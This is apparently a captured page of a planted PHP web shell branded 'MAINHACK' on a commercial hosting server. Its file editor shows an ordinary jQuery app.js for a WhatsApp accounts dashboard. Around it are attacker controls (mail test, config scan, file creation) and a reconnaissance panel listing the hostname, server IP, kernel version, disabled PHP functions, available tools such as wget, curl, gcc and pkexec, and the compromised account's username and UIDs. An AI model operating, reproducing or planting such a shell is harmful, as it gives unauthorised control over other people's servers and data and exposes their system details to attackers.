[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: app.js
$(document).ready(function () { loadAccounts = $("#accounts").DataTable({ processing: true, serverSide: true, ajax:{ url: '/whatsapp/dashboard', "data": function ( d ) { d.wa = 'xssdp' } }, columns:[ { data: 'action', name: 'action' }, { data: 'sources', name: 'sources' }, { data: 'wa_server', name: 'wa_server'}, { data: 'sender', name: 'sender'}, { data: 'is_default', name: 'is_default' }, { data: 'app_key', name: 'app_key'}, { data: 'auth_key', name: 'auth_key'}, ] }); $('.whatsapp_add_modal, .whatsapp_edit_modal').on('shown.bs.modal', function(e) { $('form#whatsapp_accounts_add_form') .submit(function(e) { e.preventDefault(); }) .validate({ messages: { whatsapp_id: { remote: 'Exists!', }, }, submitHandler: function(form) { e.preventDefault(); var data = $(form).serialize(); $.ajax({ method: 'POST', url: $(form).attr('action'), dataType: 'json', data: data, beforeSend: function(xhr) { __disable_submit_button($(form).find('button[type="submit"]')); }, success: function(result) { if (result.success == true) { $('div.whatsapp_add_modal').modal('hide'); $('div.whatsapp_edit_modal').modal('hide'); toastr.success(result.msg); loadAccounts.ajax.reload(); } else { toastr.error(result.msg); } }, }); }, }); }); $(document).on('click', '.delete-whatsapp-accounts', function(){ swal({ title: LANG.sure, icon: 'warning', buttons: true, dangerMode: true, }).then(willDelete => { if (willDelete) { $.ajax({ url: $(this).data('href'), method: 'DELETE', dataType: 'json', success: function(result) { if (result.success == true) { toastr.success(result.msg); loadAccounts.ajax.reload(); } else { toastr.error(result.msg); } }, }); } }); }); });
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium320.web-hosting.com
Server IP: 66.29.153.54
PHP Version: 8.2.29
Server Software: LiteSpeed
System: Linux premium320.web-hosting.com 4.18.0-553.50.1.lve.el8.x86_64 #1 SMP Thu Apr 17 19:10:24 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 76.84 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: aoneqssk
User ID (UID): 1285
Group ID (GID): 1290
Script Owner UID: 1285
Current Dir Owner: 1285